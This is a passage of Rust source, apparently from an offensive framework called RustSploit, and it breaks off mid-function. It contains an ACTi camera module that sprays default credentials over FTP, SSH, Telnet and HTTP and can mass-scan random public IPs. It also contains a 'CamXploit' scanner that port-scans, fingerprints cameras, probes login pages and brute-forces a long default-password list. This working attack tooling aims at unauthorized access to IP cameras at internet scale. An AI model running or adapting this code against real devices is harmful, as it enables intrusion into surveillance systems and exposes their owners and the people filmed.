|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
pub target: String,
|
||||
pub port: u16,
|
||||
pub credentials: Vec<(&'static str, &'static str)>,
|
||||
pub stop_on_success: bool,
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
|
||||
fn normalize_target(target: &str, port: u16) -> String {
|
||||
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
|
||||
if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]:{}", cleaned, port) // IPv6
|
||||
} else {
|
||||
format!("{}:{}", cleaned, port) // IPv4 or hostname
|
||||
}
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match AsyncFtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let socket_addr: std::net::SocketAddr = match address.parse() {
|
||||
Ok(sa) => sa,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
continue;
|
||||
}
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
("LOGIN_ACCOUNT", *username),
|
||||
("LOGIN_PASSWORD", *password),
|
||||
("LANGUAGE", "0"),
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = match res.text().await {
|
||||
Ok(t) => t,
|
||||
Err(_) => String::new(),
|
||||
};
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Mass scan mode: random IPs, CIDR subnets, or target file
|
||||
if is_mass_scan_target(target) {
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "ACTi Camera",
|
||||
default_port: 80,
|
||||
state_file: "acti_camera_mass_state.log",
|
||||
default_output: "acti_camera_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, |ip: std::net::IpAddr, port: u16| async move {
|
||||
// Quick port check on HTTP
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let target_str = ip.to_string();
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
// Try HTTP first (most likely for cameras)
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
|
||||
let url = format!("http://{}:{}/", target_str, port);
|
||||
for (user, pass) in &creds {
|
||||
let resp = client.get(&url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 301 || resp.status().as_u16() == 302 {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
if !body.contains("401") && !body.to_lowercase().contains("unauthorized") {
|
||||
let msg = format!("{}:{}:HTTP:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
|
||||
let base_config = Config {
|
||||
target: target.to_string(),
|
||||
port: 0,
|
||||
credentials: creds,
|
||||
stop_on_success: true,
|
||||
verbosity: true,
|
||||
};
|
||||
|
||||
let ftp_conf = Config { port: 21, ..base_config.clone() };
|
||||
let ssh_conf = Config { port: 22, ..base_config.clone() };
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
// Collect all successful results
|
||||
let mut found_credentials = Vec::new();
|
||||
|
||||
if let Ok(Some((service, user, pass))) = ftp_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = ssh_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = telnet_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
if let Ok(Some((service, user, pass))) = http_res {
|
||||
found_credentials.push((service, user, pass));
|
||||
}
|
||||
|
||||
// Print summary and store credentials
|
||||
if !found_credentials.is_empty() {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Summary ===".bold());
|
||||
for (service, user, pass) in &found_credentials {
|
||||
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
|
||||
let (svc_port, svc_name) = match service.as_str() {
|
||||
"FTP" => (21u16, "ftp"),
|
||||
"SSH" => (22, "ssh"),
|
||||
"Telnet" => (23, "telnet"),
|
||||
"HTTP" => (80, "http"),
|
||||
_ => (0, "unknown"),
|
||||
};
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, svc_port, svc_name, user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camera/acti/acti_camera_default",
|
||||
).await;
|
||||
}
|
||||
} else {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "ACTi Camera Default Credentials".to_string(),
|
||||
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti_camera_default;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acti;
|
||||
@@ -0,0 +1,882 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use base64::prelude::*;
|
||||
use crate::utils::{generate_random_public_ip, is_subnet_target, parse_subnet, subnet_host_count, EXCLUDED_RANGES};
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::timeout;
|
||||
|
||||
// =================================================================================
|
||||
// CONSTANTS & DATA
|
||||
// =================================================================================
|
||||
|
||||
const PORT_SCAN_TIMEOUT: u64 = 2;
|
||||
const TIMEOUT: u64 = 5;
|
||||
|
||||
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
|
||||
// are not cameras and should be skipped in mass scan mode
|
||||
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
|
||||
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
// Standard web ports
|
||||
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
|
||||
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
|
||||
// RTSP ports
|
||||
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
|
||||
// RTMP ports
|
||||
1935, 1936, 1937, 1938, 1939,
|
||||
// Custom camera ports
|
||||
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
|
||||
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
|
||||
// ONVIF ports
|
||||
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
|
||||
// VLC streaming ports
|
||||
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
|
||||
// Common alternative ports
|
||||
110, 143, 993, 995,
|
||||
1024, 1025, 1026, 1027, 1028, 1029, 1030,
|
||||
2000, 2001, 2002, 2003, 2004, 2005,
|
||||
3000, 3001, 3002, 3003, 3004, 3005,
|
||||
4000, 4001, 4002, 4003, 4004, 4005,
|
||||
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
|
||||
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
|
||||
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
|
||||
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
|
||||
// Additional common ports
|
||||
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
|
||||
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
|
||||
// MMS ports
|
||||
1755, 1756, 1757, 1758, 1759, 1760,
|
||||
// High ports
|
||||
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
|
||||
];
|
||||
|
||||
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
|
||||
|
||||
const COMMON_PATHS: &[&str] = &[
|
||||
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
|
||||
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
|
||||
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
|
||||
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
|
||||
];
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", "1234567"),
|
||||
("admin", "12345678"),
|
||||
("admin", "123456789"),
|
||||
("admin", "admin123"),
|
||||
("admin", "admin1234"),
|
||||
("admin", "admin12345"),
|
||||
("admin", "password"),
|
||||
("admin", "pass"),
|
||||
("admin", "123"),
|
||||
("admin", "1111"),
|
||||
("admin", "0000"),
|
||||
("admin", "8888"),
|
||||
("admin", "default"),
|
||||
("admin", "admin@123"),
|
||||
("admin", "Admin123"),
|
||||
("admin", "Admin1234"),
|
||||
("admin", "888888"),
|
||||
("admin", "666666"),
|
||||
("admin", "4321"),
|
||||
("admin", "9999"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "toor"),
|
||||
("root", "1234"),
|
||||
("root", "12345"),
|
||||
("root", "123456"),
|
||||
("root", "pass"),
|
||||
("root", "password"),
|
||||
("root", "root123"),
|
||||
("root", "admin"),
|
||||
("root", "1111"),
|
||||
("root", "0000"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "user123"),
|
||||
("user", "password"),
|
||||
("user", "1234"),
|
||||
("user", "12345"),
|
||||
("user", "123456"),
|
||||
("user", ""),
|
||||
("guest", "guest"),
|
||||
("guest", "guest123"),
|
||||
("guest", "1234"),
|
||||
("guest", "12345"),
|
||||
("guest", "123456"),
|
||||
("guest", ""),
|
||||
("operator", "operator"),
|
||||
("operator", "operator123"),
|
||||
("operator", "1234"),
|
||||
("operator", "12345"),
|
||||
("administrator", "administrator"),
|
||||
("administrator", "admin"),
|
||||
("administrator", "1234"),
|
||||
("administrator", "12345"),
|
||||
("administrator", "123456"),
|
||||
("administrator", "password"),
|
||||
("supervisor", "supervisor"),
|
||||
("supervisor", "1234"),
|
||||
("supervisor", "12345"),
|
||||
("supervisor", "123456"),
|
||||
("supervisor", "password"),
|
||||
("support", "support"),
|
||||
("support", "support123"),
|
||||
("support", "1234"),
|
||||
("support", "password"),
|
||||
("system", "system"),
|
||||
("system", "system123"),
|
||||
("system", "1234"),
|
||||
("system", "12345"),
|
||||
("system", "123456"),
|
||||
("viewer", "viewer"),
|
||||
("viewer", "viewer123"),
|
||||
("viewer", "1234"),
|
||||
("viewer", "12345"),
|
||||
("admin1", "admin"),
|
||||
("admin1", "admin1"),
|
||||
("admin1", "1234"),
|
||||
("admin1", "12345"),
|
||||
("admin1", "123456"),
|
||||
("admin1", "password"),
|
||||
("888888", "888888"),
|
||||
("888888", "123456"),
|
||||
("888888", "000000"),
|
||||
("666666", "666666"),
|
||||
("666666", "123456"),
|
||||
("666666", "000000"),
|
||||
("", "admin"),
|
||||
("", "12345"),
|
||||
("", "123456"),
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if crate::utils::get_global_source_port().await.is_some() {
|
||||
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
|
||||
}
|
||||
let target = target.trim().to_string();
|
||||
if !crate::utils::is_batch_mode() {
|
||||
if !crate::utils::is_batch_mode() {
|
||||
print_banner();
|
||||
}
|
||||
}
|
||||
|
||||
// Subnet handling — iterate over each IP in the CIDR
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
let count = subnet_host_count(&network);
|
||||
crate::mprintln!("{}", format!("[*] Subnet {} — {} hosts to scan sequentially", target, count).cyan());
|
||||
for ip in network.iter() {
|
||||
let ip_str = ip.to_string();
|
||||
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
|
||||
if let Err(e) = Box::pin(run(&ip_str)).await {
|
||||
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// 1. Port Scan
|
||||
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
|
||||
if open_ports.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No open camera ports found.".red());
|
||||
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
|
||||
|
||||
// 2. Camera Detection & Fingerprinting
|
||||
let client = create_client()?;
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
|
||||
if !is_camera {
|
||||
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
|
||||
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
|
||||
}
|
||||
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// 3. Credential Testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 4. Stream Detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 5. Additional Information
|
||||
|
||||
|
||||
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln_block!(
|
||||
format!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold()),
|
||||
format!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold()),
|
||||
format!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold()),
|
||||
format!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold()),
|
||||
format!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold())
|
||||
);
|
||||
}
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!(e))
|
||||
}
|
||||
|
||||
fn get_protocol(port: u16) -> &'static str {
|
||||
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
|
||||
}
|
||||
|
||||
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
|
||||
let mut map = HashMap::new();
|
||||
|
||||
// Web ports
|
||||
map.insert(80, ("HTTP", " - Standard Web"));
|
||||
map.insert(443, ("HTTPS", " - Secure Web"));
|
||||
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
|
||||
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
|
||||
map.insert(8000, ("HTTP-Alt", ""));
|
||||
|
||||
// RTSP ports
|
||||
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
|
||||
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
|
||||
|
||||
// RTMP ports
|
||||
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
|
||||
|
||||
// Custom camera ports
|
||||
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
|
||||
|
||||
// ONVIF
|
||||
map.insert(3702, ("ONVIF", " - Camera Discovery"));
|
||||
|
||||
map
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// PORT SCANNING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let mut open_ports = Vec::new();
|
||||
let mut rtsp_ports = Vec::new();
|
||||
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
|
||||
let mut tasks = Vec::new();
|
||||
let target_arc = Arc::new(target.to_string());
|
||||
|
||||
// Deduplicate ports
|
||||
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
|
||||
let port_map = get_port_service_map();
|
||||
|
||||
for port in unique_ports {
|
||||
let t = target_arc.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
}
|
||||
None
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(Some((port, is_rtsp))) = task.await {
|
||||
open_ports.push(port);
|
||||
if is_rtsp {
|
||||
rtsp_ports.push(port);
|
||||
}
|
||||
|
||||
// Logging
|
||||
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
|
||||
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
|
||||
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
|
||||
}
|
||||
}
|
||||
|
||||
open_ports.sort();
|
||||
rtsp_ports.sort();
|
||||
(open_ports, rtsp_ports)
|
||||
}
|
||||
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// FINGERPRINTING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
|
||||
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
|
||||
let found = Arc::new(Mutex::new(false));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in open_ports {
|
||||
let t = target.to_string();
|
||||
let c = client.clone();
|
||||
let f = found.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, t, port);
|
||||
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
// Server header indicators
|
||||
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
|
||||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
|
||||
headers.contains("ipcam") || headers.contains("webcam") {
|
||||
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Body indicators
|
||||
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
|
||||
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
|
||||
body.contains("ipcam") || body.contains("netcam") {
|
||||
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Auth requirement check
|
||||
if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if indicators {
|
||||
let mut lock = f.lock().await;
|
||||
*lock = true;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let result = *found.lock().await;
|
||||
result
|
||||
}
|
||||
|
||||
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
|
||||
|
||||
let mut found_count = 0;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in COMMON_PATHS {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
|
||||
status == reqwest::StatusCode::FORBIDDEN {
|
||||
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
|
||||
found_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found_count == 0 {
|
||||
